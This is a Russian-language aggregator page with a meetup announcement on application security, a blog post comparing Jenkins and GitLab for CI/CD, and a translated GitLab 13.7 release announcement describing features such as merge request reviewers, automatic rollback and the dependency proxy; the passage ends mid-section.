О докладе: В связи со значительным ускорением цикла разработки традиционные методы контроля безопасности приложений перестают работать. При этом чем крупнее компания, тем большей может оказаться цена ошибки в коде, которая может привести к кибермошенничеству или утечке конфиденциальной информации. Поэтому прогрессивные компании встраивают в цикл разработки различные процессы и инструменты контроля безопасности кода с минимальным воздействием на время релиза. В данном докладе представлен обзор подобных процессов и инструментов, а также несколько примеров их использования мировыми ИТ-компаниями.

>>> Начнем митап в 18:00 (МСК).
Регистрируйтесь, чтобы получить ссылку на трансляцию: письмо придет вам на почту.

До встречи online!
Подробнее..

Какой CICD-инструмент выбрать Jenkins или GitLab?

01.02.2021 14:09:27 | Автор: admin
Инструменты непрерывной интеграции и развертывания CI/CD на сегодня довольно востребованы. Из всех актуальных решений есть два очевидных лидера, Jenkins и GitLab. На крупных сервисах отзывов у обоих решений примерно одинаковый рейтинг, но смотреть стоит не только на это. Давайте разберемся с преимуществами Jenkins и GitLab, и для каких задач они лучше всего подходят.



GitLab


Это бесплатный opensource-продукт, выпущенный под лицензией MIT и написанный на языках Go и Ruby. Отдельный сервер на таком решении способен работать более чем с 25 000 пользователями.


Интерфейс GitLab

GitLab дает возможности работы с репозиториями, ревьюить код, имеет собственную систему контроля ошибок и многое другое. Для повышения конфиденциальности пользователей есть возможность связать инструмент с Active Directory и с LDAP-серверами, установив его локально.

Большое и вовлеченное сообщество делает работу с продуктом комфортной. GitLab используется не только для создания кода, но и для его тщательной проверки. Поддерживаются практически все среды сборки и системы контроля версий.

Плюсы


  • Подробная документация и простое управление.
  • Удобный пользовательский интерфейс для наблюдения за результатами тестирования. Можно дать права на чтение и изменение как отдельным людям, так и группе пользователей.
  • Удобный инструмент для установки майлстоунов, что позволяет оперативно отслеживать и решать проблемы.
  • Легкое назначение контрольных точек проекта и их группировка по задачам.
  • Удобное параллельное тестирование pull requests и веток, что делает его хорошим выбором для opensource-проектов.

Минусы


  • Артефакты (файлы, которые сохранить после сборки) требуется определять и загружать для каждого задания.
  • Этапы внутри больших задач пока не поддерживаются.

Jenkins


Расширяемое opensource-решение для автоматизации развертывания. Jenkins написан на Java и тоже работает под лицензией MIT. У него богатый набор функций для автоматизации задач сборки, тестирования, развертывания, интеграции и релиза программного обеспечения.


Интерфейс Jenkins

Кроме инсталяции через традиционный установочный пакет он может быть установлен как автономно, так и в качестве Docker на любой машине с установленной Java Runtime Environment (JRE).

Существует также подпроект команды Jenkins под названием Jenkins X, который специализируется на CI/CD в рамках кластеров Kubernetes.

Команда Jenkins выпустила около 1 500 плагинов, благодаря чему его можно использовать вместе с другими решениями например, co Slack, Jira и другими. Интеграция также доступна для ряда инструментов тестирования DevOps. Есть поддержка REST API для удаленного доступа к системе. Существует три его варианта: Python, XML и JSON с поддержкой JSONP. Как и в случае с GitLab, продукт помогает развивать большое неравнодушное сообщество. Также решение может работать в качестве сервлета в контейнерах Java, таких как GlassFish и Apache Tomcat.

Плюсы


  • Простота настройки и обновления (всего за несколько шагов).
  • Автоматизированный процесс сборки и подробная понятная документация.
  • Легкая интеграция с другими инструментами, в этом случае вы можете получать уведомление о ходе процесса.
  • Использование нескольких машин для распределенных сборок. Это полезно в задачах, когда нужно протестировать продукт в нескольких разных средах.

Минусы


  • Сложная интеграция плагинов.
  • Решение не очень подходит для небольших проектов, так как его настройка довольно трудоемкая.

Суммируем


Jenkins хорош большой библиотекой плагинов, полным контролем над рабочими пространствами, легкой настройкой узлов и простым развертыванием. В целом решение гибкое, универсальное и несложное в освоении, с поддержкой множества языков (но нет русского).

В GitLab просто масштабировать раннеры, есть параллельное выполнение заданий в рамках разных фаз конвейера. Решение очень хорошо масштабируется, легко добавлять задачи. Также в GitLab качественно сделан с точки зрения безопасности и конфиденциальности.

С помощью GitLab можно контролировать все аспекты работы с Git-репозиториями, включая ветки с кодом С Jenkins же вы контролируете репозитории только до некоторой степени. Например, ветки вы контролируете не полностью.

Также стоит помнить изначальную задачу, которая стояла при разработке обоих инструментов. Jenkins создавался в первую очередь для реализации CI, а GitLab для совместной работы с кодом и контроля версий.



Блог ITGLOBAL.COM Managed IT, частные облака, IaaS, услуги ИБ для бизнеса:

Подробнее..

Перевод Вышел релиз GitLab 13.7 с проверяющими для мерж-реквестов и автоматическим откатом при сбое

12.01.2021 16:20:24 | Автор: admin

Картинка для привлечения внимания


Ну и год же был 2020! Мы счастливы представить релиз 13.7 с более чем 45 фичами и улучшениями поставки ПО, вышедший как раз к праздникам.


От имени всех сотрудников GitLab мы хотим поблагодарить участников нашего сообщества за ваш вклад и за то положительное влияние, которое вы оказываете на нашу работу. Без вас GitLab не был бы таким, как сейчас.


Благодарим вас и всех членов команды GitLab, которые помогли сделать 2020 год невероятным, несмотря на невзгоды и непредсказуемые обстоятельства. Пожалуйста, оставайтесь в безопасности, будьте счастливы и здоровы в этот праздничный период.


Вот что вас ждёт в релизе 13.7:


Улучшенное управление проектами для развития совместной работы


Мерж-реквесты (в русской локализации GitLab запросы на слияние) имеют решающее значение для развития совместной работы и могут быть напрямую связаны с соответствующими тикетами, предоставляя центральное место для общения посредством комментариев, предложений по изменениям в коде и ревью кода. В этом релизе мы добавили проверяющих для мерж-реквестов способ улучшить процесс ревью кода, сделав его более лёгким и организованным. Теперь вы сможете быстро выяснить, кто участвовал в мерж-реквесте, или запросить у кого-то ревью, отправив соответствующее уведомление.


Переключение контекста и выполнение заданий вручную в рабочем процессе затрудняют эффективное взаимодействие между группами и проектами. Это означает, что вы проводите меньше времени за разработкой ценных фич и больше времени тратите на работу с проектами, поэтому возможность клонировать тикеты с помощью быстрых действий наверняка вам пригодится, поскольку поможет оптимизировать управление проектами и гибкое планирование с agile.


Совместная работа над проектами и частое итерирование при разработке ваших приложений подразумевают, что вы должны быть в состоянии быстро определить степень важности ваших тикетов, выявить любые блокирующие задачи и использовать эту информацию для расстановки приоритетов при принятии решений. Теперь вы можете сортировать по количеству блокируемых тикетов, чтобы быстрее находить те тикеты, которые блокируют прогресс по другим тикетам.


Улучшена автоматизация релизов и гибкость развёртывания


В управлении организацией, автоматизацией и развёртыванием приложений на регулярной основе вам необходима гибкость. Надёжное и частое развёртывание приложений позволяет быстрее поставлять продукт заказчикам.


Чтобы улучшить автоматизацию релизов в GitLab, мы добавили автоматический откат в случае сбоя. Эта фича отменяет неудачное развёртывание, восстанавливает последнее успешное развёртывание и посылает автоматическое уведомление об этом. Вам не придётся вносить изменения вручную, и вы можете быть уверены, что потенциальные проблемы не приведут к простоям и ситуация не ухудшится, пока вы работаете над устранением неполадок.


Ещё одно улучшение, которое хорошо сочетается с автоматическим откатом в случае сбоя, возможность посмотреть статус развёртывания на странице окружений. Просматривать статусы развёртываний стало гораздо удобнее, как и определять, какие действия вам нужно предпринять, например, остановить или откатить развёртывание.


Мы также выпустили первую официально поддерживаемую бета-версию контейнера обработчика заданий GitLab для Red Hat OpenShift, а также нашего сертифицированного оператора обработчиков заданий, чтобы дать вам больше свободы в том, как вы выпускаете релизы с GitLab. Мы работаем над тем, чтобы сделать эту фичу общедоступной, так что следите за новостями в будущих релизах.


Более надёжное и эффективное управление пакетами и зависимостями


Ваш рабочий процесс зависит от множества языков программирования, бинарных файлов, интеграций и артефактов, которые являются важными входными или выходными данными в вашем процессе разработки. Чем эффективнее вы управляете своими пакетами и зависимостями, тем меньше рабочего времени уходит впустую. Чтобы повысить эффективность работы с реестром пакетов, мы добавили быстрый поиск и просмотр общих пакетов.


Мы также внесли улучшения в прокси зависимостей от GitLab; кстати, эта фича была перенесена в Core в GitLab 13.6.


Теперь вы можете вписаться в ограничения запросов Docker и ускорить работу конвейеров (в русской локализации GitLab сборочные линии) благодаря кэшированию образов контейнеров, размещённых на DockerHub, и быть уверенными в надёжности и эффективности работы с образами.


Ещё одно улучшение, которого ожидали многие из нашего сообщества, прокси зависимостей теперь работает и с приватными проектами, так что теперь этой фичей смогут воспользоваться и те пользователи, которые предпочитают работать с приватными проектами.


И, наконец, вы можете использовать предопределённые переменные с прокси зависимостей взамен того, чтобы полагаться на свои собственные определённые переменные или вшитые значения в вашем файле gitlab.ci-yml. Таким образом, появился более масштабируемый и эффективный способ начать проксирование и кэширование образов.


И это ещё не всё!


Взгляните на ещё несколько классных новых фич релиза 13.7:



Это всего лишь некоторые из множества новых фич и улучшений производительности этого релиза. Если вы хотите заранее узнать, что вас ждёт в следующем месяце, загляните на страницу будущих релизов, а также посмотрите наше видео по релизу 13.8.


6-7го января у нас прошёл виртуальный хакатон, узнайте больше об этом и будущих мероприятиях от GitLab здесь.


GitLab MVP badge


MVP этого месяца Rachel Gottesman


Rachel активно помогала нашей команде технических писателей внедрить согласованный стиль в документации для исправления использования будущего времени в наших документах. В релизе 13.7 Rachel открыла 33 мерж-реквеста, чем помогла нашей команде справиться с этой важной и кропотливой задачей. Спасибо, Rachel!


Основные фичи релиза GitLab 13.7


Проверяющие для мерж-реквестов


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Create


Попросить коллегу просмотреть ваш код должно быть обычной частью рабочего процесса, но иногда это бывает неоправданно сложно. Такая простая задача, как запрос на ревью, может привести к путанице. Например, как именно следует запрашивать: через электронное письмо, комментарий, сообщение в чате? Без формального механизма ревью мерж-реквестов могут быть непоследовательными, и за их проведением будет сложно уследить. Раньше уже можно было назначить проверяющего на мерж-реквест, но и автор, и рецензент отображались в одном и том же поле Assignee, что не позволяло другим членам команды узнать, кто за что отвечал в этом мерж-реквесте.


GitLab 13.7 представляет новую фичу теперь авторы мерж-реквеста могут запросить ревью у конкретных пользователей. В новом поле Reviewers пользователи могут быть назначены проверяющими для мерж-реквеста аналогичным образом, как назначаются ответственные (assignee). Назначенные на ревью пользователи получат уведомление, предлагающее им просмотреть мерж-реквест. Таким образом, теперь существует формальный процесс запроса ревью для мерж-реквеста и уточняются роли каждого пользователя в работе над ним.


Будущие итерации будут включать отображение наиболее подходящих проверяющих для мерж-реквеста, а также усовершенствованный процесс подтверждения мерж-реквеста, который будет сфокусирован именно на проверяющих. Подробнее об этом вы можете узнать в эпике по назначению проверяющих для ревью мерж-реквестов.


Reviewers for Merge Requests


Документация по назначению проверяющих для мерж-реквеста и оригинальный тикет.


Автоматический откат в случае сбоя


(ULTIMATE, GOLD) Стадия цикла DevOps: Release


Если у вас возникла критическая проблема с развёртыванием, ручные действия по её устранению могут занять довольно много времени и привести к сбоям на продакшене, что негативно скажется на пользователях. Теперь вы можете использовать автоматический механизм отката, который возвращает ваше развёртывание обратно к последнему успешному развёртыванию. Кроме того, когда GitLab находит проблемы на продакшене, он автоматически уведомляет вас об этом. Так вы всегда будете своевременно узнавать о проблемах, и получите драгоценное время для отладки, исследования и исправления проблем без лишних простоев в работе.



Документация по автоматическому откату при сбое и оригинальный тикет.


Клонирование тикета через быстрое действие


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Plan


Чтобы сделать создание похожих тикетов более эффективным, тикеты теперь поддерживают быстрое действие /clone, которое создаёт в том же проекте новый тикет с идентичными названием, описанием и метаданными. Быстрое действие /clone заменяет более трудоёмкий процесс, который включал в себя несколько шагов для создания тикета, копирования идентификатора или пути к исходному тикету и использование быстрого действия copy_meta.


По умолчанию тикеты клонируются в тот же проект и не включают в себя системные заметки и комментарии, но вы можете изменить поведение по умолчанию при клонировании.


Clone an issue with a quick action


Документация по быстрым действиям и оригинальный тикет.


Обработчик заданий GitLab для Red Hat OpenShift


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Verify


Наконец-то стал доступен образ контейнера обработчика заданий GitLab (GitLab runner) для платформы контейнеров Red Hat OpenShift! Чтобы установить обработчик заданий на OpenShift, воспользуйтесь новым оператором обработчиков заданий GitLab. Он доступен на бета-канале в Red Hat's Operator Hub веб-консоли для администраторов кластеров OpenShift, уже развёрнутой по умолчанию на платформе, где они могут найти и выбрать операторы для установки на своём кластере. На платформе контейнеров OpenShift Operator Hub уже развёрнут по умолчанию. Мы планируем перенести оператор обработчика заданий GitLab на стабильный канал, а в начале 2021 года в общий доступ. Наконец, мы также разрабатываем оператор для GitLab, так что следите за будущими публикациями.


GitLab Runner for Red Hat OpenShift


Документация по установке на OpenShift и оригинальный тикет.


Просмотр статуса развёртываний на странице окружений


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Release


Ранее на странице окружений не было никакого способа узнать о том, что сейчас выполняется развёртывание. Теперь на этой странице отображаются статусы развёртываний и предупреждения, благодаря чему вы можете принять решение о том, какие действия нужно предпринять, основываясь на статусе развёртывания (успешное, неудачное или текущее). Например, можно остановить текущее развёртывание или откатить завершённое.


Show deployment status on the Environments page


Документация по работе с окружениями и оригинальный тикет.


Задавайте через пользовательский интерфейс процент трафика для канареечного развёртывания


(PREMIUM, ULTIMATE, SILVER, GOLD) Стадия цикла DevOps: Release


В GitLab 13.7 вы можете менять процент трафика для канареечного развёртывания (значение canary-weight) непосредственно с досок развёртывания в пользовательском интерфейсе. Вы также можете менять это значение из gitlab-ci.yml и через API, но сделав это в пользовательском интерфейсе, вы сможете наблюдать за развёртыванием и при необходимости отмасштабировать поды прямо с досок развёртывания. Так у вас будет больше контроля над ручными или инкрементальными развёртываниями по таймеру, а также вы сможете лучше контролировать и даже снижать риски.


Set deployment traffic weight via the UI


Документация по заданию процента трафика для канареечного развёртывания и оригинальный тикет.


Просмотр частоты развёртываний через API


(ULTIMATE, GOLD) Стадия цикла DevOps: Release


В этом релизе в рамках первой итерации встроенной в GitLab поддержки метрик DORA4 была добавлена возможность узнавать частоту развёртываний на уровне проекта через API. Это позволяет отслеживать эффективность развёртывания с течением времени, легко находить узкие места и при необходимости быстро принимать меры по корректировке.


API support for deployment frequency


Документация по аналитике проектов и оригинальный тикет.


Поддержка нескольких файлов манифеста в проекте


(PREMIUM, ULTIMATE) Стадия цикла DevOps: Configure


В предыдущих релизах для использования нашего агента для Kubernetes (GitLab Kubernetes Agent) требовалось, чтобы пользователи собирали все ресурсы Kubernetes в один файл манифеста. Теперь же агент может собирать манифесты Kubernetes рекурсивно из указанных каталогов в вашем проекте. Ваши специалисты по платформе теперь смогут использовать один репозиторий для управления различными кластерами из единого места, а также описывать крупные развёртывания с помощью одного агента.


Support multiple manifest files in a project


Документация по настройке репозитория с агентом Kubernetes и оригинальный тикет.


Импорт требований из внешних инструментов


(ULTIMATE, GOLD) Стадия цикла DevOps: Plan


Для эффективной совместной работы очень важно, чтобы все ваши требования хранились в одном месте, поэтому мы рады сообщить, что теперь вы можете импортировать требования из CSV-файлов!


Благодаря этой фиче вы сможете всей командой работать над требованиями в GitLab, и в то же время с лёгкостью взаимодействовать с клиентами, поставщиками и внешними организациями. Следите за обновлениями о будущих улучшениях экспорта требований.


Import requirements from external tools


Документация по импорту требований из CSV-файла и оригинальный тикет.


Несколько конечных точек HTTP для оповещений


(PREMIUM, ULTIMATE, SILVER, GOLD) Стадия цикла DevOps: Monitor


Интеграции оповещений являются критически важной частью ваших рабочих процессов по управлению инцидентами, поэтому важно иметь точный контроль над конечными точками и токенами аутентификации. Меньше всего вам нужно, чтобы все ваши оповещения перестали работать из-за смены одного токена аутентификации. Настройка конечной точки HTTP для каждого инструмента мониторинга позволит вашей команде управлять каждым инструментом в отдельности, не влияя на оповещения от других инструментов.


Integrate alerting tools with multiple HTTP endpoints


Документация по конечным точкам для оповещений и оригинальный эпик.


Синхронизация групп на GitLab.com с помощью SAML


(SILVER, GOLD) Стадия цикла DevOps: Manage


В GitLab 13.7 вы можете привязать группу в вашем поставщике учётных записей к группе на GitLab.com с помощью SAML. Членство в группе будет обновляться, когда пользователь войдёт в учётную запись GitLab через своего провайдера SAML. Эта фича снижает необходимость в ручном назначении групп, что снижает загрузку по группам для администраторов GitLab. Синхронизация групп также улучшает адаптацию новых членов групп, избавляя их от необходимости запрашивать доступ у администраторов групп GitLab.


SAML Group Sync for GitLab.com


Документация по синхронизации групп с помощью SAML и оригинальный эпик.


Другие улучшения в GitLab 13.7


DevOps Adoption


(ULTIMATE) Стадия цикла DevOps: Manage


DevOps Adoption показывает вам, какие команды в вашей организации используют тикеты, мерж-реквесты, подтверждения, обработчики заданий, конвейеры, развёртывания и сканирования в GitLab. Используйте также новую фичу сегменты, чтобы собрать ваши группы GitLab в логические единицы в рамках вашей организации, чтобы вы могли сравнивать, как используют GitLab среди нескольких разных групп.


  • Убедитесь, что вы получаете ожидаемую отдачу от использования GitLab.
  • Узнайте, какие группы отстают во внедрении GitLab, и помогайте им с настройкой DevOps.
  • Узнайте, какие группы используют определённые фичи, такие как конвейеры, и могут поделиться своим опытом с другими группами, которые хотят начать ими пользоваться.

DevOps Adoption


Документация по DevOps Adoption и оригинальный тикет.


Улучшенный пользовательский интерфейс для создания проектов


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Manage


С улучшенным пользовательским интерфейсом для добавления проекта вам будет проще выбрать между созданием пустого проекта, проекта из шаблона, импортом проекта и созданием проекта CI/CD для внешних репозиториев.


Документация по созданию проектов и оригинальный тикет.


Ограничение создания проектов и групп для внешних аккаунтов


(PREMIUM, ULTIMATE, SILVER, GOLD) Стадия цикла DevOps: Manage


Для снижения риска случайного раскрытия интеллектуальной собственности администраторы GitLab теперь имеют больший контроль над аккаунтами, предоставляемыми через интеграцию группы с помощью SAML или SCIM. В первой итерации этой фичи администраторы могут запрещать своим пользователям создавать группы или проекты вне групп, к которым они принадлежат.


Документация по настройкам пользователя через SAML и оригинальный тикет.


Сортировка по числу блокируемых тикетов


(STARTER, PREMIUM, ULTIMATE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Plan


При сортировке списка тикетов в GitLab часто бывает важно определить, какие из них необходимо выполнить наиболее срочно, и блокируют ли они другие тикеты.


Ранее в списке тикетов было невозможно посмотреть, какие из тикетов блокируют другие. Единственный способ это сделать это открыть каждый из них и просмотреть список блокируемых тикетов под описанием тикета, что занимает очень много времени.


В версии 13.7 вы можете использовать фильтр Блокирует другие тикеты для списка тикетов, чтобы отсортировать его по числу блокируемых тикетов.


Sort issues by the number of issues they are blocking


Документация по сортировке и оригинальный тикет.


Просмотр файлов в мерж-реквестах по одному


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Create


Ревью мерж-реквестов это важнейшая задача для обеспечения качества кода всех участников, так как именно здесь происходит большая часть обсуждений между автором и ревьюером. Однако, по мере того, как мерж-реквесты становятся крупнее и число файлов в них увеличивается, навигация и производительность диффов могут ухудшаться.


В GitLab 13.7 мы добавили возможность просматривать файлы по одному при просмотре мерж-реквеста. При переходе на вкладку мерж-реквеста Изменения кликните на иконку с шестерёнками и поставьте галочку Показывать файлы по одному. После выбора этого параметра вы сможете просматривать файлы по одному, переключаясь между ними при помощи кнопок Предыдущий и Следующий.


В этом режиме ваше рабочее пространство выглядит менее перегруженным, и вам проще сосредоточиться на одном файле. Кроме того, при этом повышается производительность и улучшается навигация по диффу мерж-реквеста.


Choose to show one file at a time directly from merge requests


Документация по ревью и управлению мерж-реквестами и оригинальный тикет.


Просмотр изменений мерж-реквеста в VS Code


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Create


При ревью мерж-реквестов в VS Code для обращения к изменениям зачастую приходится делать checkout ветки и затем пытаться разобраться в диффе между этой веткой и целевой веткой мержа.


С релизом 3.7.0 расширения GitLab Workflow изменения мерж-реквеста стали доступны напрямую в VS Code. Это позволяет быстро просматривать изменения в мерж-реквестах ваших проектов.


В рамках работы над добавлением полноценного ревью кода в VS Code следующим шагом мы собираемся добавить комментарии к диффам.


View Merge Request changes in VS Code


Документация по расширению для VS Code и оригинальный тикет.


Улучшенное скачивание артефактов для вложенных конвейеров


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Verify


Ранее при скачивании артефактов из родительского конвейера во вложенный не всегда можно было получить нужные артефакты. Если два вышестоящих конвейера были запущены примерно в одно время, то вложенный конвейер мог скачать артефакты и из более нового конвейера.


Теперь вы можете использовать новый синтаксис needs:pipeline, чтобы указать вложенному конвейеру, из какого конвейера ему нужно скачивать артефакты. Вы можете использовать его, чтобы скачивать артефакты из родительского конвейера или из другого вложенного конвейера в рамках той же иерархии.


Improved artifact downloads with child pipelines


Документация по скачиванию артефактов для вложенных конвейеров и оригинальный тикет.


Обход ограничений Docker и ускорение конвейеров


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Package
Для более быстрых и надёжных сборок вы можете использовать нашу фичу, прокси зависимостей, для кэширования образов контейнеров из Docker Hub. Однако, когда Docker начал применять ограничения по количеству запросов docker pull, вы могли заметить, что даже когда ваш образ скачивался из кэша, Docker всё равно засчитывал его в лимит. Это происходило потому, что прокси зависимостей кэшировал только слои (или блоб-объекты) образа, но не манифест, который содержит информацию о том, как собрать данный образ. Так как манифест был необходим для сборки, всё равно приходилось выполнять pull. А если Docker Hub был недоступен, вы не могли скачать нужный образ.
Начиная с этого релиза прокси зависимостей будет кэшировать и слои, и манифест образа. Так что при первом скачивании с использованием alpine:latest образ будет добавлен в кэш прокси зависимостей, и это будет считаться за один pull. В следующий раз, когда вы будете скачивать alpine:latest, всё будет скачиваться из кэша, даже если Docker Hub недоступен, и это скачивание не будет учитываться в лимите Docker.


Напоминаем вам, что начиная с 13.6 прокси зависимостей стал доступен в плане Core. Поэтому попробуйте эту фичу сейчас и скажите нам, что вы о ней думаете. Или даже лучше, помогите нам с открытыми тикетами.



Документация по прокси зависимостей и оригинальный тикет.


Быстрый поиск и просмотр общих пакетов


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Package


Вы можете с лёгкостью публиковать общие файлы, такие как бинарные файлы релиза, через реестр пакетов GitLab. Однако, если вы используете пользовательский интерфейс пакетов или другой формат менеджера пакетов, то возможно вы заметили, что не можете выбрать вкладку для быстрого просмотра только ваших общих пакетов.


Недавно мы добавили в пользовательский интерфейс пакетов вкладку Общие пакеты, чтобы вы могли отфильтровать список пакетов для просмотра только общих пакетов. Мы надеемся, что это поможет вам находить и проверять ваши пакеты более быстро и эффективно.



Документация по просмотру пакетов и оригинальный тикет.


Прокси зависимостей для приватных проектов


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Package


Вы можете использовать прокси зависимостей GitLab для проксирования и кэширования образов контейнеров из Docker Hub. До последнего времени эта фича была доступна только для публичных групп, что не позволяло многим пользователям её использовать.


Теперь вы можете использовать прокси зависимостей и для приватных проектов. Вы можете снизить свои скачивания с Docker Hub путём кэширования ваших образов контейнера для использования их в будущем. Так как прокси зависимостей хранит образы Docker в пространстве, связанном с вашей группой, вы должны авторизоваться с вашим логином и паролем GitLab или с личным токеном доступа, для которого есть разрешение как минимум на чтение (read_registry).


Документация по прокси зависимостей и оригинальный тикет.


Улучшенная поддержка анализаторов SAST для нескольких проектов


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Secure


В GitLab сканирования безопасности автоматически определяют язык кода и запускают подходящие анализаторы. В случае монорепозиториев, микросервисов и репозиториев для нескольких проектов в одном репозитории GitLab может существовать больше одного проекта. Ранее наши инструменты безопасности могли определять язык кода только в одиночных проектах в репозиториях. Начиная с этого релиза наши анализаторы SAST могут определять языки кода в репозиториях с несколькими проектами, запускать подходящие сканирования для каждого проекта и составлять отчёт о уязвимостях. Это делает
управление инструментами безопасности проще и удобнее для пользователей с одним репозиторием для нескольких проектов. В следующих релизах мы продолжим улучшать панель безопасности и отчёты для этих типов проектов.


Документация по поддержке репозиториев для нескольких проектов и оригинальный эпик.


Описание релиза во внешнем файле


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Release


Если вы создаёте релизы в конвейерах через файл .gitlab-ci.yml вашего проекта, вам, возможно, было сложно поддерживать в актуальном состоянии описание каждого релиза. В релизе GitLab 13.7 вы можете задавать описание вашего релиза в файле с контролем версий или в автоматически генерируемом файле и вызывать его из .gitlab-ci.yml. При этом содержимое файла загружается в описание релиза в формате Markdown. Это упрощает создание, поддержку и использование контроля версий для релизов, а также будет особенно полезно при автогенерации лога изменений. Огромное спасибо Nejc Habjan и Siemens за этот невероятный вклад!



Документация по описаниям релизов и оригинальный тикет.


Поддержка для версий Kubernetes 1.17, 1.18 и 1.19


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Configure


Поддержка GitLab для последних версий Kubernetes позволяет вам пользоваться преимуществами интеграций GitLab с Kubernetes, такими как GitLab Kubernetes Agent, Auto DevOps и на более поздних кластерах GitLab Managed Apps. В этом релизе GitLab добавил официальную поддержку для версий Kubernetes 1.17, 1.18 и 1.19.


Документация по кластерам и оригинальный тикет.


Geo поддерживает репликацию сниппетов


(PREMIUM, ULTIMATE) Доступность


Geo теперь поддерживает репликацию сниппетов под контролем версий на вторичные ноды, что позволит распределённым командам получать доступ к ним с ближайшей ноды Geo, что снижает задержку и делает весь процесс удобнее. Кроме того, эти данные могут быть восстановлены со вторичной ноды при переключении на неё в случае сбоя.


В данный момент мы не поддерживаем верификацию для этого типа данных, но мы планируем добавить её в будущем.


Документация по репликации Geo и оригинальный эпик.


Поддержка зашифрованных учётных данных LDAP


(CORE, STARTER, PREMIUM, ULTIMATE) Доступность


GitLab использует единый файл конфигурации, например gitlab.rb в Omnibus GitLab, что упрощает настройку всех связанных сервисов. В этот файл конфигурации включены некоторые секретные ключи, например учётные данные для аутентификации на сервере LDAP. Хотя для доступа к этому файлу требуются специальные права, хорошей практикой считается отделять секретные ключи от конфигурации.


Установки Omnibus GitLab и Source теперь поддерживают зашифрованные учётные данные, причём первыми поддерживаемыми учётными данными стали LDAP. Это снижает уязвимость конфигурационного файла GitLab, а также помогает достичь соответствия требованиям заказчика.


Документация по настройке зашифрованных учётных данных LDAP и оригинальный тикет.


Веб-хуки при добавлении новых участников группы


(STARTER, PREMIUM, ULTIMATE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Manage


Теперь в GitLab стало проще автоматизировать управление пользователями: это можно сделать с помощью веб-хука, который запускается при добавлении нового участника в группу. Раньше вам приходилось выполнять запросы REST для идентификации новых членов группы, что ухудшало производительность вашего инстанса GitLab.


Документация по веб-хукам и оригинальный тикет.


Улучшенная фильтрация и сортировка списков участников группы


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Manage


Мы продолжили улучшать наш список участников группы и добавили для него новые возможности фильтрации и сортировки. Это поможет администраторам группы быстро находить нужную им информацию. Например, сортировку по последнему времени входа (Last sign-in) можно использовать для поиска пользователей, которые в последнее время не заходили на GitLab, и для помощи в управлении лицензиями.


Improved group members list filtering and sorting


Документация по фильтрации и сортировке участников группы и оригинальный тикет.


Автоматическая подготовка профиля пользователя с SAML


(SILVER, GOLD) Стадия цикла DevOps: Manage


Раньше в качестве одной из частей включения в группу с SAML пользователям нужно было заполнять форму регистрации. В GitLab 13.7 мы представляем синхронизацию пользователей для групп с использованием SAML. Когда пользователь в первый раз входит в группу с SAML, учётная запись пользователя создаётся для него автоматически, если нет существующего пользователя с таким же адресом электронной почты. Автоматическая подготовка с SAML улучшает процесс адаптации новых пользователей и гарантирует, что вновь созданные учётные записи содержат правильную информацию.


Документация по настройке групп с SAML и оригинальный тикет.


Настраиваемый адрес электронной почты для службы поддержки


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Plan


Раньше вашим пользователям было трудно запомнить (а следовательно, и использовать) адрес электронной почты службы поддержки GitLab. С введением настраиваемого адреса электронной почты теперь можно выбрать суффикс адреса, который имеет смысл для вашей компании и который будет легче запомнить вашим пользователям. Это ещё один шаг, который нужен для того, чтобы вы могли предоставлять своим пользователям качественную поддержку.


Документация по настройке адреса электронной почты для службы поддержки и оригинальный тикет.


Различайте изменения форматирования и правки, сделанные из редактора статических сайтов


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Create


Редактор статических сайтов предлагает интуитивно понятный и знакомый всем режим редактирования WYSIWYG для контента Markdown. Чтобы обеспечить единообразный формат вывода Markdown, редактор WYSIWYG автоматически переформатирует содержимое страницы в соответствии с соглашениями о стилях, определёнными в парсере Markdown. Это происходит полностью в фоновом режиме ещё до того, как вы начнёте редактировать. Однако эти изменения форматирования коммитятся вместе с вашими изменениями содержимого. Если страница, которую вы редактируете, не следовала тем же соглашениям о стилях, для проверяющих итогового мерж-реквеста может быть сложно отличить ваши изменения от автоматического форматирования.


Начиная с GitLab 13.7 редактор статических сайтов автоматически исправляет несоответствия в синтаксисе Markdown и коммитит все необходимые изменения форматирования в новой ветке. По завершении редактирования кнопка Опубликовать создаёт отдельный коммит, содержащий только ваши изменения. Это может сэкономить время проверяющим изменения, которые вместо того, чтобы продираться через изменения синтаксиса, смогут сосредоточиться на вашем контенте.


В будущем мы планируем сделать параметры форматирования настраиваемыми, так что следите за новостями в соответствующем тикете.


Документация по редактору статических сайтов и оригинальный тикет.


Предзаполненные переменные при ручном запуске конвейеров


(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) Стадия цикла DevOps: Verify


